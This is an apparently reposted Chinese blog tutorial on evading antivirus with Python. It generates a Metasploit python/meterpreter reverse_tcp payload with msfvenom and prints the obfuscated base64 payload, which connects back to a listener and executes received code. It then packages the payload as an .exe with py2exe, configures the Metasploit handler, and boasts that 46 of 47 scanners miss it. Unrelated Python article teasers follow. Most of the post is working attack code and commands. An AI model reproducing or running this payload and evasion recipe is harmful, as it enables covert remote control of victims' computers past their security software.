使用Python进行防病毒免杀解析

yipeiwu_com5年前Python基础

很多渗透工具都提供了权限维持的能力,如Metasploit、Empire和Cobalt Strike,但是都会被防病毒软件检测到这种恶意行为。在探讨一个权限维持技巧的时候,似乎越来越多的人关注的是,这个方式会不会被被杀软杀掉?

打造免杀的payload成了一个很重要的话题,在这里,本文将介绍如何使用Pyhton轻松绕过防病毒软件。

0x01 环境准备

1、软件安装

Python 2.7.16 x86:https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi
Py2exe 32位:https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download

2、msfvenom生成Python Payload

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.28.128 LPORT=443 -f raw -o /var/www/html/evil.py

evil.py 代码如下:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjguMTI4Jyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))

0x02 py2exe 打包Python程序

将evil.py复制到windows,同时创建一个setup.py文件:

from distutils.core import setup
import py2exe
setup(
name = 'Meter',
description = 'Python-based App',
version = '1.0',
console=['evil.py'],
options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}},
zipfile = None,
)

下面的方法运行 evil.py,生成可执行文件。

python ./setup.py py2exe

0x03 设置监听端口

Kali 运行Metasploit,设置监听:

msfconsole
use exploit/multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
set LHOST 192.168.28.128
set LPORT 443
run

在Windows中运行evil.exe,获得一个meterpreter的会话

0x04 免杀验证

确认生成的exe文件可正常工作,接下来对evil.exe进行在线病毒扫描,以确认免杀效果如何。
这里我们使用VirSCAN.org-多引擎在线病毒扫描网 v1.02,当前支持 47 款杀毒引擎

扫描结果:47款杀毒引擎中,只有一个引擎报毒,主流的杀毒软件全部绕过。

网站地址: http://www.virscan.org 

参考文章:

https://medium.com/bugbountywriteup/antivirus-evasion-with-python-49185295caf1

总结

以上所述是小编给大家介绍的使用Python进行防病毒免杀,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对【听图阁-专注于Python设计】网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

相关文章

django中send_mail功能实现详解

前言 我们大家应该都知道python中smtplib模块用于邮件的功能,而django对这个这模块进行封装,使得它使用起来十分简单。 django.core.mail就是django邮件...

解决项目pycharm能运行,在终端却无法运行的问题

解决项目pycharm能运行,在终端却无法运行的问题 报 ModuleNotFoundError: No module named '****' 错误。 运行的文件夹又不在根目录下, 在...

python的id()函数介绍

>>> a = 2.5>>> b = 2.5>>> c = b>>> a is cFalse>>>...

python获取多线程及子线程的返回值

最近有个需求,用多线程比较合适,但是我需要每个线程的返回值,这就需要我在threading.Thread的基础上进行封装 import threading class MyThrea...

python中Switch/Case实现的示例代码

学习Python过程中,发现没有switch-case,过去写C习惯用Switch/Case语句,官方文档说通过if-elif实现。所以不妨自己来实现Switch/Case功能。 使用...